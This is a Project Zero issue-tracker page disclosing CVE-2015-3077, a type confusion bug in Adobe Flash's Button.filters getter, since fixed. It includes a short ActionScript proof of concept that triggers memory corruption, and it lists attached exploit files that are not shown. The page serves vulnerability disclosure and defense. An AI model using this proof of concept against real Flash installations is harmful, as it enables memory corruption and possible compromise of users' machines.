Monorail Project: project-zero Issues People Development process History Sign in
New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users
Status: Fixed
Owner:
Email to this user bounced
Closed: May 2015
Cc:



Sign in to add a comment
Adobe Flash: Type Confusion in Button.filters
Project Member Reported by natashenka@google.com, Feb 6 2015 Back to list
There is a type confusion issue in the Button.filters getter. If the definition of a filter constructor changes to that of a different filter between the Button.filters setter and the Button.filters getter, the filter's user data gets set to the type of the filter given to the setter, but its type gets set to the type it's constructor is defined as when the getter is called. A minimal proof of concept (must be called from a button's action) is below:

        var c = new flash.filters.BlurFilter(100, 15, 5555);
	c.blurX = -1;
	var e = flash.filters.ConvolutionFilter;
	this.filters = [c];
	flash["filters"] = {BlurFilter: e};	
	var f = this.filters;
	var d = f[0];
	trace(d.matrix.length);
	d.matrix = [0,1,1,1,1,1,1,1,1,1,1,1,1,1];
	trace(d.color = 0x777777777777);
	for(var i = 0; i < 1000; i++){
		var b = new BitmapData(10, 10, true, 10); //This tends to trigger GC
		}
	}

A .fla file and swf are attached. To reproduce, press the grey button. The PoC works on Chrome and Firefox for Linux only, likely due to difference in when GC occurs.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 
shallow.swf
904 bytes Download
shallow.fla
5.6 KB Download
Comment 1 by cevans@google.com, Feb 7 2015
Labels: Id-3283
Comment 2 by cevans@google.com, Feb 12 2015
Cc: bilouleh...@gmail.com
Chromium bug https://code.google.com/p/chromium/issues/detail?id=457261 was filed by @biloulehibou as a duplicate of this one.
Comment 3 by cevans@google.com, May 5 2015
Labels: Deadline-Exceeded Deadline-Grace
Patch is expected May 12th, which is 6 days in to the 14 day grace period.
Comment 4 by cevans@google.com, May 7 2015
Labels: CVE-2015-3077
Comment 5 by cevans@google.com, May 12 2015
Labels: Fixed-2015-May-12
Status: Fixed
https://helpx.adobe.com/security/products/flash-player/apsb15-09.html
Project Member Comment 6 by natashenka@google.com, May 28 2015
Labels: -Restrict-View-Commit
Project Member Comment 7 by natashenka@google.com, Jul 20 2015
Attaching exploit
CallHelper.as
4.0 KB Download
filterc.swf
3.8 KB Download
FloatConverter.as
1.9 KB Download
FilterConfuse.as
506 bytes Download
filterc.swf
3.8 KB Download
Sign in to add a comment